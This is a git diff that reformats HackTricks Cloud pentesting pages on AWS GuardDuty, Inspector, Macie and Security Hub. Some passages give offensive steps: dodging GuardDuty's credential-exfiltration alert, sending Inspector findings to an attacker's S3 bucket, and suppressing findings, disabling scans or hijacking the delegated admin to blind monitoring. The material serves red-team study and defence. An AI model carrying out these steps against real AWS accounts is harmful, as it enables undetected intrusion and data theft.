-Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught.
+Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught.
 
 Here you have a couple of examples of specific GuardDuty findings bypasses:
 
@@ -201,32 +176,18 @@ To prevent this you can search from the script `session.py` in the `botocore` pa
 
 Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert.
 
-{% hint style="success" %}
-Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert.
-{% endhint %}
+> [!TIP]
+> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert.
 
 ## References
 
-* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
-* [https://docs.aws.amazon.com/guardduty/latest/ug/findings\_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html)
-* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_upload-lists.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html)
-* [https://docs.aws.amazon.com/cli/latest/reference/guardduty/delete-publishing-destination.html](https://docs.aws.amazon.com/cli/latest/reference/guardduty/delete-publishing-destination.html)
-* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-ec2.html#unauthorizedaccess-ec2-torclient](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html#unauthorizedaccess-ec2-torclient)
-* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)
-* [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty\_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)
-* [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html)
+- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)
+- [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html)
+- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html)
+- [https://docs.aws.amazon.com/cli/latest/reference/guardduty/delete-publishing-destination.html](https://docs.aws.amazon.com/cli/latest/reference/guardduty/delete-publishing-destination.html)
+- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html#unauthorizedaccess-ec2-torclient](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html#unauthorizedaccess-ec2-torclient)
+- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)
+- [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)
+- [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
similarity index 75%
rename from pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
index c2e414d65..38692c854 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
@@ -2,20 +2,7 @@
 
 ## AWS - Inspector Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### Inspector
 
@@ -27,15 +14,15 @@ Amazon Inspector is an advanced, automated vulnerability management service desi
 
 Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as:
 
-* **Active**: The finding has not been remediated.
-* **Closed**: The finding has been remediated.
-* **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**.
+- **Active**: The finding has not been remediated.
+- **Closed**: The finding has been remediated.
+- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**.
 
 Findings are also categorized into the next three types:
 
-* **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues.
-* **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches.
-* **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups.
+- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues.
+- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches.
+- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups.
 
 #### Filters and Suppression Rules
 
@@ -57,42 +44,42 @@ When exporting findings, a Key Management Service (KMS) key is necessary to encr
 
 Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account.
 
-* **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance.
-* **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning.
+- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance.
+- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning.
 
 The scan mode determines which method will be used to perform EC2 scans:
 
-* **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection.
-* **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless.
+- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection.
+- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless.
 
 Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10:
 
-* `/usr/lib`
-* `/usr/lib64`
-* `/usr/local/lib`
-* `/usr/local/lib64`
+- `/usr/lib`
+- `/usr/lib64`
+- `/usr/local/lib`
+- `/usr/local/lib64`
 
 #### Amazon ECR container images scanning
 
 Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently.
 
-* **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans.
-* **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues.
+- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans.
+- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues.
 
 #### Amazon Lambda functions scanning
 
 Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions:
 
-* **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding.
-* **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues.
+- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding.
+- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues.
 
 #### **Center for Internet Security (CIS) scans**
 
 Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines.
 
-* **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title.
-* **Execution**: Scans are performed or scheduled based on instance tags and defined schedules.
-* **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance.
+- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title.
+- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules.
+- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance.
 
 ### Enumeration
 
@@ -199,11 +186,10 @@ aws inspector list-rules-packages
 
 ### Post Exploitation
 
-{% hint style="success" %}
-From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers.
-
-However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones).
-{% endhint %}
+> [!TIP]
+> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers.
+>
+> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones).
 
 #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
 
@@ -222,30 +208,26 @@ The following example shows how to exfiltrate all the Active findings from Amazo
 
 ```json
 {
-	"Version": "2012-10-17",
-	"Statement": [
-		{
-			"Sid": "allow-inspector",
-			"Effect": "Allow",
-			"Principal": {
-				"Service": "inspector2.amazonaws.com"
-			},
-			"Action": [
-				"s3:PutObject",
-				"s3:PutObjectAcl",
-				"s3:AbortMultipartUpload"
-			],
-			"Resource": "arn:aws:s3:::inspector-findings/*",
-			"Condition": {
-				"StringEquals": {
-					"aws:SourceAccount": "<victim-account-id>"
-				},
-				"ArnLike": {
-					"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
-				}
-			}
-		}
-	]
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Sid": "allow-inspector",
+      "Effect": "Allow",
+      "Principal": {
+        "Service": "inspector2.amazonaws.com"
+      },
+      "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"],
+      "Resource": "arn:aws:s3:::inspector-findings/*",
+      "Condition": {
+        "StringEquals": {
+          "aws:SourceAccount": "<victim-account-id>"
+        },
+        "ArnLike": {
+          "aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
+        }
+      }
+    }
+  ]
 }
 ```
 
@@ -289,7 +271,7 @@ The following example shows how to exfiltrate all the Active findings from Amazo
 aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
 ```
 
-* **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses.
+- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses.
 
 #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
 
@@ -302,7 +284,7 @@ aws inspector2 cancel-findings-report --report-id <value>
 aws inspector2 cancel-sbom-export --report-id <value>
 ```
 
-* **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues.
+- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues.
 
 #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
 
@@ -317,20 +299,19 @@ aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [
 aws inspector2 delete-filter --arn <value>
 ```
 
-* **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings.
+- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings.
 
 #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`)
 
 An attacker could significantly disrupt the security management structure.
 
-* Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports.
-* Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities.
+- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports.
+- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities.
 
-{% hint style="warning" %}
-It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator.
-
-In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
-{% endhint %}
+> [!WARNING]
+> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator.
+>
+> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
 
 ```bash
 # Disable
@@ -339,15 +320,14 @@ aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <val
 aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
 ```
 
-* **Potential Impact**: Disruption of the security management.
+- **Potential Impact**: Disruption of the security management.
 
 #### `inspector2:AssociateMember`, `inspector2:DisassociateMember`
 
 An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection.
 
-{% hint style="warning" %}
-This action requires to be performed by the delegated administrator.
-{% endhint %}
+> [!WARNING]
+> This action requires to be performed by the delegated administrator.
 
 ```bash
 # Associate
@@ -356,15 +336,14 @@ aws inspector2 associate-member --account-id <value>
 aws inspector2 disassociate-member --account-id <value>
 ```
 
-* **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities.
+- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities.
 
 #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)
 
 An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations.
 
-{% hint style="warning" %}
-This action requires to be performed by the delegated administrator.
-{% endhint %}
+> [!WARNING]
+> This action requires to be performed by the delegated administrator.
 
 ```bash
 # Disable
@@ -373,21 +352,20 @@ aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBD
 aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
 ```
 
-* **Potential Impact**: Creation of blind spots in the security monitoring.
+- **Potential Impact**: Creation of blind spots in the security monitoring.
 
 #### `inspector2:UpdateOrganizationConfiguration`
 
 An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts.
 
-{% hint style="warning" %}
-This action requires to be performed by the delegated administrator.
-{% endhint %}
+> [!WARNING]
+> This action requires to be performed by the delegated administrator.
 
 ```bash
 aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
 ```
 
-* **Potential Impact**: Alter security scan policies and configurations for the organization.
+- **Potential Impact**: Alter security scan policies and configurations for the organization.
 
 #### `inspector2:TagResource`, `inspector2:UntagResource`
 
@@ -398,24 +376,11 @@ aws inspector2 tag-resource --resource-arn <value> --tags <value>
 aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
 ```
 
-* **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation.
+- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation.
 
 ## References
 
-* [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html)
-* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html)
+- [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html)
+- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
new file mode 100644
index 000000000..a4a26e683
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
@@ -0,0 +1,118 @@
+# AWS - Macie Enum
+
+## AWS - Macie Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Macie
+
+Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns.
+
+Key Features of Amazon Macie:
+
+1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account.
+2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks.
+3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time.
+4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings.
+5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks.
+
+Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality.
+
+### Alert System
+
+Macie categorizes alerts into predefined categories like:
+
+- Anonymized access
+- Data compliance
+- Credential Loss
+- Privilege escalation
+- Ransomware
+- Suspicious access, etc.
+
+These alerts provide detailed descriptions and result breakdowns for effective response and resolution.
+
+### Dashboard Features
+
+The dashboard categorizes data into various sections, including:
+
+- S3 Objects (by time range, ACL, PII)
+- High-risk CloudTrail events/users
+- Activity Locations
+- CloudTrail user identity types, and more.
+
+### User Categorization
+
+Users are classified into tiers based on the risk level of their API calls:
+
+- **Platinum**: High-risk API calls, often with admin privileges.
+- **Gold**: Infrastructure-related API calls.
+- **Silver**: Medium-risk API calls.
+- **Bronze**: Low-risk API calls.
+
+### Identity Types
+
+Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests.
+
+### Data Classification
+
+Data classification encompasses:
+
+- Content-Type: Based on detected content type.
+- File Extension: Based on file extension.
+- Theme: Categorized by keywords within files.
+- Regex: Categorized based on specific regex patterns.
+
+The highest risk among these categories determines the file's final risk level.
+
+### Research and Analysis
+
+Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring.
+
+### Enumeration
+
+```
+# Get buckets
+aws macie2 describe-buckets
+
+# Org config
+aws macie2 describe-organization-configuration
+
+# Get admin account (if any)
+aws macie2 get-administrator-account
+aws macie2 list-organization-admin-accounts # Run from the management account of the org
+
+# Get macie account members (run this form the admin account)
+aws macie2 list-members
+
+# Check if automated sensitive data discovey is enabled
+aws macie2 get-automated-discovery-configuration
+
+# Get findings
+aws macie2 list-findings
+aws macie2 get-findings --finding-ids <ids>
+aws macie2 list-findings-filters
+aws macie2 get -findings-filters --id <id>
+
+# Get allow lists
+aws macie2 list-allow-lists
+aws macie2 get-allow-list --id <id>
+
+# Get different info
+aws macie2 list-classification-jobs
+aws macie2 list-classification-scopes
+aws macie2 list-custom-data-identifiers
+```
+
+#### Post Exploitation
+
+> [!TIP]
+> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\
+> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier.
+
+TODO: PRs are welcome!
+
+## References
+
+- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
new file mode 100644
index 000000000..3597a5297
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
@@ -0,0 +1,63 @@
+# AWS - Security Hub Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Security Hub
+
+**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues.
+
+It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts
+
+**Characteristics**
+
+- Regional (findings don't cross regions)
+- Multi-account support
+- Findings from:
+  - Guard Duty
+  - Config
+  - Inspector
+  - Macie
+  - third party
+  - self-generated against CIS standards
+
+## Enumeration
+
+```
+# Get basic info
+aws securityhub describe-hub
+
+# Get securityhub org config
+aws securityhub describe-organization-configuration #If the current account isn't the security hub admin, you will get an error
+
+# Get the configured admin for securityhub
+aws securityhub get-administrator-account
+aws securityhub get-master-account # Another way
+aws securityhub list-organization-admin-accounts # Another way
+
+# Get enabled standards
+aws securityhub get-enabled-standards
+
+# Get the findings
+aws securityhub get-findings
+
+# Get insights
+aws securityhub get-insights
+
+# Get Automation rules (must be from the admin account)
+aws securityhub list-automation-rules
+
+# Get members (must be from the admin account)
+aws securityhub list-members
+aws securityhub get-members --account-ids <acc-id>
+```
+
+## Bypass Detection
+
+TODO, PRs accepted
+
+## References
+
